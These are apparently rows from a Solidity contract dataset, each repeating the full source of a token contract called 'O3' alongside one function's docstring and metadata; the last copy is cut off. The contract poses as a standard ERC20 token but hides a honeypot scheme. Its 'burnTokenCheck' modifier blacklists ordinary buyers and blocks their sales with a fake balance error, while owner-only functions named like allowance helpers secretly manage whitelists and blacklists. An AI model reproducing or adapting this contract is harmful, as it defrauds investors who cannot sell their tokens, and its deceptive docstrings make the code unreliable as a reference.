O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2396,
2484
]
} | 4,238 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2544,
2649
]
} | 4,239 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
